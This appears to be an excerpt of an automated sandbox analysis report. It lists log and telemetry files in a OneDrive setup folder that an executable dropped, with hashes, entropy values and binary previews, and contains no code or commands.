Preview:	EBFGO.....)3+.....T.v.R.7..r..5......m:.U..8w..e..$.........7..c.....&\|...q..X.V.6..`.I.b.~.V.'\|?.......\..{..k.p...w..pk..[.8'.H...#_....,l.&&...'..<.i2m.W..K.bL.../..s......u.}J.\|}N...we./.(...HB.[.<6.....N.l...Zq...`...W....W..@..f..Q.."i.^Uq.E.P7.....=...........y..+...#..^...?..^..b./..u.l,{.).....yn...m..k..+.=.pF.c....n....U/.HR<...m.....n..EFF.M.X.8..C..x7..c.e\|}..@&..R}.&.z.....G.._.....6k!.....3&.H[.2^.i...&K....8.Dv>p...u\.k.vY.b...i.`.L..3..)7.9.....8..0.....?^.]l..T7.....#...i..5...J4...w.._XY......L.h@..=.....B.P=.=7..3..l..o...q...pl.oy..1-:c'......*.^x?>..V...k...I.r..bVWbd.X.Lni.."@...m#..58-.U...6......ux.C/'+'....2..4...W\....!...........P!@!.8.([...p-T%i....P..#.@............f...6(.S...0?..._.BUN.d#uH..\=4......Y.-.3.w..Z/@.X)..(...$.4RM4...e.o.i.X....6..Zq x.1..ZT...;...^..).h.QIU......q..&8.&............'.:.GW..y3KZ2h.?..\..#...)!^........}.z+.....?....I..(f.....;]..5.-..-I.81....~.).;..T.....h.Yw...g\A`.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2057082358758418
Encrypted:	false
SSDEEP:	24:9V4/6t93z+PJupUNj7/dLoiCfpixf0/my8bz:v/3K4pUJVLoiCl/Uz
MD5:	98BE59FA757A699109D39B35EAA0B423
SHA1:	57EC6D240A7B9E0A6508E1A6EC7C24AF7274ED9B
SHA-256:	DEDEB1FA22DA860CE758EA7852E43A43F284C27BD5C8338D6601FDB735301967
SHA-512:	D7CB91E09C85EF11ECC1402D03EFF1F4EC4ED72E6A94AB3A3459CBD31ABC923087B455CCEA92F8CD104323BA1A8C461A34D9F5F3B3993A85776090234B1AC01F
Malicious:	false
Preview:	EBFGO.{..x2ySE..s!20..4.F..-...eP...b .QUC.....(.RN<.....t.....D..)f8-.....(.B[O.'.{.e.4....8..]..'.R..}......uO...]K0._..4.z1/v[.t7.F.....q...w.$..6r...[..uq.O...jN.O.8wj.b.}~.q..A.Ry.\|....gU.5n....e.....'YO?...1...P.....o.G......-.N+...rT ..!H......g..Os.{p.....n....j.C..<..y........Q.8.&.O.u..q.@..X../R..G...~.WR.#.Pz..d-Q.X.....=.Q#..W.n.h..`O..-..ps..eg.xNG.#f..}....<....[.".MK.O.p....<....tM0Z..)......)..X+P.....].[..c1...U.^... .BR..\...6..O..Z.H..D..Y.....;...9H..JQ0..EH........Ue..2....$..@+..a.h.....k.k.L.Z..UYm......%7..g?*.\@....B.B.p-.c...j2...o....c=.`.....v.c.....'].z%....:5.c.3...M....(...L.[.~1K.>...p.X0?d....4%]....\..t........@j3.p..s...4..Q%...C^>w....;.v.../...z....F.0yzb&...(..Y.;..q9..Z..Z.{O+....F5.f.....=}8..k4C.H9..Z:XP.x..h.MP9LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8926715003664336
Encrypted:	false
SSDEEP:	768:DD4vJMxGdN3/7uFXeqL3L0Wydl+Wz+JB38:4OkraXxL4WPe8B
MD5:	FE11B5F1A4A6C4362B8C7A45BB618185
SHA1:	F7955ED23173251C593E6590C552DAC74DD32B3E
SHA-256:	70B940D2861DDA7E619BAD60CDDC25D832B9385069E3FB35C1F2CE2E37BAEA6F
SHA-512:	08191621E866D4C25522ADAF6CF561055C6FDF4D961A7AFBB4CFD7FF9B3436630AAB29DD2962A5CE6E182CAB7A35DF3EDC80E6A944B1CD4EF8DFB192D58A5049
Malicious:	false
Preview:	1.0./..fl.U.?e.=..&.#i.\|.B1T..!...e.\|.A.^.[....}.@..r..(.k...U.`.\|g?../8....B\|%.j..55..w-d..z..k6...P_.b......%.<?....$.c.T.2-.-...j>..F......(.0..xR..Kx^x.X)}.......).)....!\|...0...,l..E..d+..f}..x...[.[...[#.C>E..'.....d.b..#.7..W......../x(;"..u$....\|..T....d..R..V}......e..e.JF+...[. @..`r.Y..!.+M9......=8.q"^5.........[w2Y7.bp.'.d.3...8.K...l.Uj......6.m.........?....e......4k.(....2...=mmJ...5..N.......N.kb..w.z@.<._..K...Z..<d._2U..wm..H._........x.l.]F..{..H..s..!LP.p....!.z8......;...y......x..\..0 Tg..s.'..DE...MZ..?...E.u..p\...2.j...l/..E7.u.R~..1.[$S./.-u....?._.26..Tw...L.@..i...x.2,...K.1.....NlJ.M`.fV..&\|...q#.....].....k...e......v.kA...A.eqV....d.s.M .....e....0"!.ta..g+/..[...lC.D3.M$..,2.;..A......K.6.B......M.f.)...6':.C....)s1. .U.t.\.ba..r(.o*..W.Z...W.r{.!%i;.X.Q.c.,.^B..G%2......h......YX..........y....p.Vd@.X.F..:...3z.{.0.....S<.3.I....w).'.@.#....6..m.......Ex.Tm...I.......q..}qM.b......h]/..2.\AM

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4123590504448345
Encrypted:	false
SSDEEP:	768:mCuwTin0F1y8d5M3vfy84ur9L7mzvPbZUR6wdy:mrDnO1y8dW/fy837mzvPNa0
MD5:	3786814B133983D2016EC0C1A30BF2F8
SHA1:	3E22EE9F3258A0E381735E270E86D8FE743D7F05
SHA-256:	C737D1D7E4A53A38F6311182A4EB68DB6A99D9295B410EA395654C6A859A9CC9
SHA-512:	6F95C4F22C7340B44E2FF3C0E41276319E2F3ECC9BCB30A4C6DF7E8C6C003402285C9B10F60EF65DEFCF556E27C8181E1929ADB117C0C1E620659AD41CF68D64
Malicious:	false
Preview:	1.0./..Bw4Ob..f.l$`..cT.......!..w....,.G.?PO.Fh.).+S:.bq5.$.'_.....tPXk...k` 5.Q......5./H...p.E.X..N...X.....\|..ox/.Q.xGu.~.n.g.......YBrTa P.'..._.f..H4........45.g(......<,J...=.;...u....x....[...R.+F'..>=.Q.W........B.o.?8. a(8.k..w..RN..M.-...0F<..w.Q........L.!...d.....e#{=..9T0....O.....<..X\.T.^P...<....6.M~.a.....nJ..6.....mDBm....D.h....a?~..mplx.gp.p..o.........!L.......a..MB>."...,x...jH%S./.....t..zN.....B.Z,..&3x_....d...........K.s1(.D....1$.Q.........:...B....L.{.....5...m..9T.....6...gW7u...T.t.5.._6..7.q..%.?]......,~e.k.4T..Z.=?K.C7..I...[,.]8..PQ.M...VME.Z@"9.n..F.n..38.,V.P.#..X.......y.O.$........}..W,.,..7......~..D..v...D.<@Z.u.k..K...\|.i-.c0N2V..}.Rt.Wr._k..."3.b...\|....D....C..,,b.....%,w~q.z'!g.d.. .....S?....\..X...Lj..Q....b.@.*.."..@UBJ.iT-p...Z..)..1.'%.B.........dHH...T..@..{........\|.ohP..'T.f.5.`..Ku...i......[%.@.........KQ{.=..n2."...!......d..x... .uHT.$.Q.y.bD(... ....S.,.....n.......{...+.x..X...Jq...aG

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.557706173642797
Encrypted:	false
SSDEEP:	768:igKBeQqCmeMD9wYLpBhxH1X+J4efv4Jla05FaSHqttt:36ehnJn/zVXg4VVjabD
MD5:	84EADF8EF01D58EF18A52080C7C06491
SHA1:	BEA26B75644CDDAA005839DDB45A97A3C394CB1D
SHA-256:	4415095EB23B9E48852625ACDB228C2BE26202B84B4F1F15CC3E9A775685DC47
SHA-512:	8257872351B19C9E7966004BE012903BADE9F6DB2D015F66D59BD20F6FA5D29B3BCED23799771BB27C57E8C65B7866FFEC69E4132917A1DA695A29B9A3925E39
Malicious:	false
Preview:	1.0./...t.V...n5..N.+NH8O..8.l...@..D..U....Z.m.c...<u.?.p.K-.3.\|H..7.OGC.K..t.lc.L....~C. ......V0uEK.Y!.I.Rp...n..Up7r....<..0............9z?cA.....6.0\..G..+2.l..u..}5kA.C.\|...#..gnp\r.._.0....\6e...E..".}.N>..O.'...MOg.RT...i...sv...h..s.!\<$.....j..5.........)C@Jr.$..4f7C0?..P.+....\......9]....!.... d..........C..Mn..x@.....S..M..?/v.......)...4...WH>.K.'w..pwa.-.x.r... ...V7..^9.@.G$.!...#&.,.%........5...M[..]r....4M._....]GWM.}....P...C..B.s..z..#E..H)..~...R@..n..f...P..8.8..(3.....%.g.XS..^]y..j_...6..3.]..&i...X.M./......PWQ...>..I....#3.+iy.w./..$..u...N.........~X...-..n..d..!.@>K..z.i......).t...w2....W..+...-o....u.N.$..4.Z...d..U"..^...<r..6z..R..l.t.#.....1...}x.t....[.v........+..d..G.#x/].d...!...A..F.'..W..,^.R.I.h..1m......a.9.N$.T.;..("..P..(7.z.^...9..~..".+.@s......5.y.3..Y1....(...+. ....;.e..n.......n.P+..,.~y...&.a!.4a.E.T.......h]<.Q.r>.c.C.....0..A~.G1.9pv.....L0.k"M7..7..KvS\|....9.v..xu...O.,[.ex.D.]...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3130303272367874
Encrypted:	false
SSDEEP:	96:LxczMkALBaGuDkiSAg/Dxa/gBNpTrdPZx50oEkrjkQL9pMN/E+t/DWOxWFxqF2:OAkA5TiHWDI/gh0ox/kQL9IvWOqx
MD5:	07BA1500D396FC5BD849F9CA6709DD18
SHA1:	F9306300585FF3FFEEF99B83FD63037665163560
SHA-256:	199F7564EEADB7F51735B55569DB7F57B2C02E823BC84C65A855C8BD5FA682DA
SHA-512:	031FE9A038C62D04CBA69F185E4B65BD57D41C0C8479B2B0A5548D19CF9FBA98857058C4DAF9152650F986E0CAA90AF0683AACF76E335DB39AF3EE8B8FF6A2BA
Malicious:	false
Preview:	1.0././.......m0,...x8.?...e...V..mX...g..#.d.... ......{{.E...I.j...y..VjM.ku..Y):.\|p.sY../jX....3M^...e...........c..?.Fv7S./6.e....E......\|.ML..#....d...=a3g.S....@VQ[.............B....".lxw..#....~..hr.7.a.....f..M.)w..~.U..!...=..G>.G..\|.lSV..\|'..T...!.5.4..).T..A...jz.Q!v..R...Fl&..j."...X..\`..B/7.....+,+...........j":.eg.;Aim..L....E..bqm2{.....j...0T..)=.0F.,i....!.3Pq..?.X.B.6..w...@.r.zt..mM..P..k.&;.......3..-..?'...3....u..._.J]..8sC.6m'......H..).fr..-..3..G.......i:w.J_Li.gt......wsI......0...,.(..y....<..l..1i.....6..b.E..E.1.y......49.o....t...u...{.ju..4.f......H.Goj....{K...W@...k.T..U.b...q.h.h.....Su.3,.....f..a.\|!....t......h.E..B.A..k.B{....6<0T..p.....v.S..g.h..o.X..]....B.....C,B...L.`z..%..`R.`-....#H...Y....&..z.aq.wr....s.W...A+..6jw_h$Z..H.-C...........R"B%hd.3`.....y.i.A......!.X...K..H...07...............#.IvgS.+...........U<..D...t!....cw.$........1V...h..\|.....U(H...LT=ev.].0l...M..Qc.P....SO.(...at.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5749193985178819
Encrypted:	false
SSDEEP:	48:aztb2oDjrfWb2HEeWSYTyA0lN0U9DyqMGhJijZnNbuWcaGAArj+63ezmq3lmanpz:2tb7D42HEevY290AdM5vaW6tPN3eLm2
MD5:	3F9829B2E49F45171ADB5E8048706F7A
SHA1:	74C9C26CD09B3119278BE4B188A6DAB59062BEAF
SHA-256:	C9ED00442EA6019902D17D2D72DC47EB03DB43CF3C2BD09C79FB2F0E2CFC920D
SHA-512:	C0A8FBA56430F1D11605AAB4CBABB649F35BBA24F817EF01385FC9FFA0C16174E3D4C77F841D702127B8B8853CFC18A530C5DB1BFF90C601CDD77261D44524B0
Malicious:	false
Preview:	1.0./pG..1H.t..Z..#x....._cx.R?e.....O....v.(pw4......oG...<$~=..MgP1&..D..r....%m.q.jE...D......Wu...@.$8...6.'.K..`/U.,.=....EK..x..O.dD..n....=\|...b...c..{hb..X.....M.PP..{.\|B1.;....2#s...<....sJ.wlE....:.0K@.]..)3.Y.J.Z+.._.4I.u.M....P.)..zf...b...>I.......c......d.Q..eZ.u..9..$..Ddb.p}.t)t(...Nj.X.p.....E1.8...ZO})l..7..R..Fs...;G...[`L..G....4]i.......j~n.O../.<......t..q............ . ...}b...9.}..1.;......U.&...1....M&.g{ ....j..U9D,....H.L..qS.{.-....3K.sb...3...$.....;.Z.3.<.qwe...hhA.7f#;=.X..y.'.....Cm.e.$.K.@...V......RRp.'....d.X.#v..y.\|`QX..+.9.(.....O..R1q.....?. .{~..p.<..].~W.C......<:7u'..i..LO......o@F...Y>.1..5...,~"i.!.Te.2.y....z......br.....#e. .Mk...N..2q..w.......e.....9=J.jS......}@...k........p.; ....b....>p...n.E....D.[..<UP.IL..jA....'...sv....AT:...+0.i.Z.q...n...D...f.B.:.Qg6.~........zc.F.0<...l..0(.r:{......"....v...U'...Z..D.B..3..Z/......i{..4...Y....7.+...S_..v.S..K.d.2v...vC._0...`...b...^l0m...8

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5754376112466043
Encrypted:	false
SSDEEP:	48:OM1POw9DOmVa5chBRLlUSt4gAhEsnEttH/qArCZI+XuphO18H8z:OG1AmVyPgACFtSsCEPOiH4
MD5:	3EDB7D9754CFA29B511B61C9AB60B45E
SHA1:	9BB00EAE0278C27D284E202BD0BECD3B59FA572D
SHA-256:	2C34282DAEFCEDECF4D8880231872E43DD9E072164C5900A4B50948CC1959773
SHA-512:	E0B5C65D6171A2099234889F8F6EF3112AD73443A30834F1F3C67036A002AB10AF99330C162AF5329509390235B7E3C6286A66CFEA2C0A989338A22B9D133948
Malicious:	false
Preview:	1.0./.,..T....+.....P...^..8S....xW.....b....EE....X..)..(..J..6:...n.Z.nT......`....Y........0..?....S...D....%..R..t!.>k......j.u....{\w.-U#.g.....7..=.C1.lx...s.4z8..0s...D..._.a.,../....N.U..<c..^9.\|.5..5F.O....1.GO.%....t.<cv..QD..~sc..5C...[U..[..r{.'..).....8...i..L..Jf.+_...q.......OC...j.`...@..L.:..W.f...Ky.5,..0...v.e.4 .[u..M.d..W..3..L.1..p.....@..oj..A..:O..Z,v..w..+...t.(.T;.d..4.....Eun(.Sz....I.k..g...K.\|...3..y....B/....1.....Jn.u..2..6R&....i{..]...C.h.,....5....Z.&....o.....w..\|....Of..L~.+..3:.,.y.6..0....P)...N.kNa...y..............^v..,z.w..f.T.....}.........c..x=-.fD....,)n.%....;....%8xt=?.,%8ua.U....E.lBR\.-.....z.q...3...R....1.Q....v4.47....z.....l.&.`.... (...jR...Cq.n..........(.Z`..>.pT.....;...!D+Y1..F{lH.6..g.b..$p..b&Lw....J5j. .nz.Y..).hNz.e2...}G....O.....N.n...(9.TK...."..........T'.#....s.n..?..A=..F]d.j..o..#.....;...k..p...W..$...F[...1A.+.i....B.(eA.......R..,.{+A.....8\1. n.p.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.7261497915693864
Encrypted:	false
SSDEEP:	384:5cluZlHWoa3ldhWPC3u1k9JkUEqGWOibs2bKLwI8CyDtsFKbd:5cgZlHW13NWPo2eJphO6Uw3DyUd
MD5:	DE3293417318D4757F5725EBB5847C12
SHA1:	0313DCF9037E190DFC5A54BA927D93A4522BE83E
SHA-256:	BB70FAEE634FD3F07BFA334F452DA89D912D813F399833A41719B2F183C5C7D2
SHA-512:	01F383EBEEFDF57359FDFACE90C82B4576B56EB784FE244826F9609ACC00571EED446B8A36F13F1311F0FEC5C24E57735033FA028C03BB218C876616CC0852A6
Malicious:	false
Preview:	1.0./]....}B.?..(Y.'I..=.&4.;kB...1!..#}Y..tT.-..G.Q .UK..t.U.D.A.)....b.K......9.....b..R..j.N.p.&.......q..c....X..........n.+...0...JP]....y...2.k^.0w.......1.........6W.....a...G.....>...?..6....v!R.ib5.I....<...y.-S..3H..!0C.r..I.iO...y.x...g(..Y.n=LF.......&mME.w.v.1.5e....V.q..x.g.L\|..~.s..#h.>..).c..&.J/.C.!..A^..P......3..X...3$..c6<....D..j.F.)...P.e.......3.....0.B.d...^.]...$U....................7.~../......m_.[..RrBH...H...-......E.{w.....^..R...................rG....j.......p.r...Q.... ...<1E.-.F!..}&:.....nF.]....ph..T.....{.....3E..l.....k....bP9...D.s..)&T.....5..(.....`......\}! l]QGkf....VM.W.(..g&.........cy...W.+._......v.(.......;..N..+...Oa.5...!....".#`....!.?..9..0.^+.&..4>... .....f.g..0o....="/JOqO.....<@.....L.....W*i..J.q..@=.w..%_..:.5........~_...b....~.x..`g.c=V.......Iu...d.]..?....k}.....V9..OF.^.).hK..a ..!....r..:..$F8.8.Y>.D.fa...X.Y.Z.... ..E4%j).rFI.. ..>.s.t7.)+..K,.2.s9..D...A...A.\.y..u..+....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.600699791614935
Encrypted:	false
SSDEEP:	384:oQBkxGEHvMt8//O7yko+CJHM+KfnoamMb9zaawE3q4okxkIK/XH:oWElUWQJo/Jgfp5zaC3qzklK
MD5:	04A8624F0455E055525AD6E7EDFD510A
SHA1:	A26A5EA39174BCC64D3B1BFACCF46E62D080CFA2
SHA-256:	9F220DABF9FA05892ECA1279D9438D54FEFB42C110D57DB48B80A520104D4247
SHA-512:	BF1288E3D73B49749E8C73F8C1F9601064D8BCE19E1D8DCAC10B81CE68EBF52D8E74DDC79F079188CA0EBF8B6C238998309F53EF0C425826D1F5F1C2B7FC12CF
Malicious:	false
Preview:	1.0./......L..y..3:.8<.{a.D..:(1z.$..T....!$}....9.$.V....$........TB.5...!..............MRL.i@.y.u...w.U..@.sp.p....#.q.C1Sp.5!...H..{R..9...lW..'.=...e.....)...W..I..X.-..4JMg?3%H.H.Z...][...h...\|...1.\|. ;3...M....TG...h.B..l...IK...B..8.g].......X..Wo...%.g.517 S:.t...+\|6...:~X'.u[..i...kY,.# Fb.~....:B`.9.q..r~./.B..l...a......%.I....2......k...WP.GX.rv....:..?..6S.r....mW'y.....&.+Z.U.....@.B...:.^_.F.~).A]H~.......$cY.~.V....<H;.....u...y..I<3r.;c..<.k..b`.......1.k6....-.;....(.?....%;.....t......nOm......wt(..S0.'g.P....`.~.W...hX0.\|....p#^`.8L..8Y1'..A...q.x....$...#;.).v..z..:.........!)H.p.u[.q....C.m.X.5......r8c?m.k.A.........Bq..c=V..1...HO.'HH.2..~.hs*..Z..0....$....?.HI...!.P!,}..64... s...{..u...9x./.=.x=0y.7.........>.m....JS..E#.....T..h....SbT.~i.2YG....c}q...Um..."..L.@.w.R{Et.......#;7.~....<...c`X.;...JD...&....i...D....._:'.S../E.s....?.K.w...r..&..:..._lm..B......<..S..{i.j.2o,.M.!O..+.n.9.OZ..=..`.:X...9;.P..lT..0!U#WG&

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.378204930958984
Encrypted:	false
SSDEEP:	192:8KHM2v3MHxLRUxcS5X/zo8VzdXbaG7uLYsvmdB4TGlSUM3GF1mJzzUmGETwlph:8Ks/xaxcgVzovmrymSUM3yezUmGNrh
MD5:	01D8F6FA1B649EB67432A3185DB7AF03
SHA1:	92B5B331495F022B5DFB19D735077AE6B9CCADB9
SHA-256:	20D9B9709E91CBBFF8DAAE103A2A41EE2D410AFBFB58843C159C6534F54F24A7
SHA-512:	0E5993B67724740B527451F86648240D4BF97F6AA81F75174CD57DAE329EC7C7D62E3478F78CE25B102A4EAE404D309B673DA9E1141E4EF1E8F572D54EDFC023
Malicious:	false
Preview:	1.0./....aZ...\c..7%.w..uy.e...rOX,./......TF....r}.WL.n...x.n..U(.]~.T.D./@.....#..kB.YE.. ...D....[w...x.{....!...jz..b..."..."Q..R.CP.w.n+.?H.d.......s$...Q......8p..e.......&c...]..n$yG.3a;Wk..#.l...Ka....{..F+...."i..=.-}Q..fhv...GMO.L:.....+....q....n...-.BL.{R.#....b.H.5.wJ...........M].F$..)..9...m..k..............]...$....a_==..N..q..+;...\..`GMm3S.". .....g..eAW...p..K...fH....C.6u.....d.b...b_....`... $..0;+.6v.%......!..v......R.h...M.@....}O..).Sq.....`_$..6....<.".LG.}?..<.._....c^+..8C6.,]......B....A.\....y.....fl.8=..CF..Wk ].......*..u.d}..nY..(....`lG.Mh.....w..D....h..^.rV.E7..q. ....8ot....:K]..c?{7.........~... \.]...,."...H.Q..h...7..S..).,^.@...&.QJ..9V}..0ph..........7;T......}...`ee.....v.$.5{...f}p.Mm?.........[..Q...&..V/..V.zK;..<...4.P.R.1..{.Q..Ap...y.J.F.\.G&..?.)n.I...EI..x....B...P.........z..,QQy....}I.ZB.6.o.e.2..~D...G...M..36?..q...Y.T(l.2G...x.....c`..jn.....T..'..d...6..L.3.@...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2013516417971375
Encrypted:	false
SSDEEP:	192:JZ4Jx1TY2AH0BOQbbZLMWE+BijdvNyRv2jRo:Jmnm8nW5iijB2v2l
MD5:	A4AB84A2FD9AA4FE58A6CE7721669ADB
SHA1:	477C0FB6805ED880A9FC66E5958364C08FEB9948
SHA-256:	26D4D1C9560DB58592BEDCBF240F4732029F1201FE261C7131D3BDCA83A5E934
SHA-512:	89034AEC8BFCE26BDF3D50E2CFCB062592B0FC3B20EC3BA2CDAAA8054E5513861E586D0CA4B37AF3B3D927A5A549CE84C2239A1C414A3AE7D243787EA03F78D9
Malicious:	false
Preview:	1.0./9..!..0h. .9a...t..."...yF.....C.T/.k.Q.`.@..sy..YN...S.N....MB...._..>4..Y......7.A....~.6..Ce.X...O..g.o....U...0U...[..T q.(J.?.g._.S.Bg....X.Z..%T.k.!V..R..#Z...$.}....>..&Y....E..n;.M+'.?!6z.I_D.......S...v.O.849.H.A...U....s......0....K.I...M^\"}%.w...u9..-..(K.8.Qy5...+........a....J...G:(.2B+.........n.Yt..r.#e..;.t.k.........6........:..........M.i...o...,1..$02....u.f..EI...!...w......~.......'...;...ct..-......m.f.B.!y..b)t.....D."."..$...G..l.FC.eb.Y.\|:4?...b.O5pP....G.[.v...6...t..l{....G...5V.Mm.LQ...a..I.[...X./ I..\...<#C...$.(...,.3i5q..5.9.0.....w&..]....V.x.+..%?.,........&.0.sT.W.6......,C.U....3....5T......~eb8..N.n...5c#.sF>. .R~(....T.^.....\~3...9.A......"..\|F%...zMl.....5.i7......N>b.3..@.&.....}.8.:mZ.....).1.!.....#..H.ne>.......g.........z.."Xz'VK..I{....Ke...6.2..H.`.;v1...Rg..9..N..\|...( .......?.$.bsD.bp*0."%.n.W-..C..Q.K.>.A6...`4.\....g.7.d...A....p..2.p'c.......<...i4c...<...?..O.?..J.).!.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.76452689891364
Encrypted:	false
SSDEEP:	384:yRAm8YGp5Lp57biSCqZQMsJYNxn1iNqnEea:yRuYSLP7biSCqYwxEN2H
MD5:	4EA545E7F23608A1AD91E87955D86019
SHA1:	E3DA141FE48F7DE8253A1B31E194879672DACD8E
SHA-256:	796106868D9FF742A68EDB6D4ED5D3205C020909627C532935792234E933BFA8
SHA-512:	1994C211C6DCDB12F3D6353388BC8ACDF2B21E4C93831A24FDD41C49198760638928E3BC4652EAE6FB4C12483C254AD778B4AC8B8A016D148EE1C5E5C8394298
Malicious:	false
Preview:	1.0./....J.............IU\..{N..s....S.=K.W.v...HlP..2...$[...J."].=(^...?x'{...\|H.y.e........t....@.zm.d..S...'w@../......g..J......M.:.K..Au.F.....T.V..C.3.=.o.%.1 ..vd..m.7.gS.r.%.....n....Y...#h.V.......Q._...v%A........T.$.=/..aI..5'B.U;..\).b...%ZR.....u.+......@.Kry..3.....#..1!.......R.,...-..`.#.C... Rh..]...&...z.4...UT~s$.\...Q...wtV........!.>.b....}Rsl..@@.+.V......Q...EX4.tR..\y.!.iU..T1=..)..[..nz5../...eu...&.9T......3.3.k.aU...X.c......".v..TK......).....ifV...B.".-.Q+./..T..@.j..o7>.\.L..O......Q..<e...5.nZ.-M.z.....;.`%..#?..TK.oM%.LY..R....E.m.b>..... B}%....W2.v..F.....!....R.r.W..4.4.+3...... ..o....E:%..]..u.#..........m^....Kb...r.i!O[..k7{.aII..,..Z..o..m..;i...k....uz....j).B.R.........!h...j^..q.K.dG.)".Q/...P......].dg.x..L.....w......9D.."A..jN.!..L).?......A.....E..j...Kn.....0;..}9?......T..a.,.\|..{.>sg+.;DK.8....=.........dj...P.<..$)...Q-..J....g#..V&.T..y....Q...s{..z!...u...y_........y(g...+.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.428179830086612
Encrypted:	false
SSDEEP:	768:Y5dglVuMLAdmEdO79pmKn3MBXOsHitqNQzfveb:odglVGT/SMXOsHilG
MD5:	3458C015F495179970082782393602FF
SHA1:	A218962A7E96BA2C037A933E5C342FE4A4BF06AB
SHA-256:	612132FDA0EB685E19A78B717E65634EF3A2CD700FBD95E62BD9DD9CCEBF35D8
SHA-512:	A2E5331086F2EA63C9F001B93D1D3710386E99D1663CC410701615395503BEB0B7AC8E5DC3D541BA85AA5F8633FA1876C2190F04442A164009FCD80F6E8BAC0D
Malicious:	false
Preview:	SQLit/..j.y..............[.t..v.:....fzI....^...K.<......+..t..T.6o(>..`..jx6.&......g.9...n...,RK....XeF...Gv.U...q..d.l..WkeS......=......ob...x.9f...B.-..,.#.~.[...7....:.<.Vf...fE~<...K....n......j..+..:O2l`2p..%C....K'`.......\ .6'.......>..\|..,...rbnw.v'.=V...3...e....%..W...=....R.['~I...Bz.Q..3TRoSe#k..0(.?..3R]t..8^.Wj..../.B.j....1ZiP..X..^.5&....l...}y@S......4...?.........B..)..9..LE..1.8KC.al.I.z........3.h2.q-..}...i......M..n..+o....0...=..y.S9.I...Y.Sa./.=DF4..Os+`1z.3..5....0..eF.;ix.j....=c.:..........N..&...nL..'W...pK.[%"..b.^.*R...g.{.3.;.]G...5....C....;.E...Rq...-.,k.(]=..kH9<.N.Y)R...@.a..E.?-W....p;..}.=X..O. .f.n.i...s..f....<Z...i...`.n..K..f.lu...Vo...O....n....A.^..0.j..K...Z/1.O.y..{o..M/k.sb..!.>8l...i2.z .i.D.L..@A.....B:.41v.Y'.../...M..J.=.;$E"...,K.!.V.H.=......."......D.c.5..@..\|`.5.Q%.._.Sr8....z.U.............I.;.."X..OC.....I.-R..[>..j.x.UH..R........Y.1?v..%....i.....i....e.A<.7`../WM.VU

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.425980320036279
Encrypted:	false
SSDEEP:	384:g6Z+2e3uUJLc0ZqHo+e9k8twg/wzgypbhEAuAa5xtzLK:D0JF0G9k8tx/cpP9mxty
MD5:	C04090B883D9881A5512EED52B53896D
SHA1:	1CE17404CE4FB06AFE509E094286AA6799C8F7DF
SHA-256:	00C9BD39637898E6627C9C33BBDC7D0D11ACC05A7D5D41A5EE206A2676CAEC74
SHA-512:	576BF49E2AB94CE83C84BE01667D8CC94172F19F012FBF8A3B927CC60F78DE21312FE27B42761C65115BEEF5DB41CA99FBF1E3FB04F87D0EB16B4912F45E8645
Malicious:	false
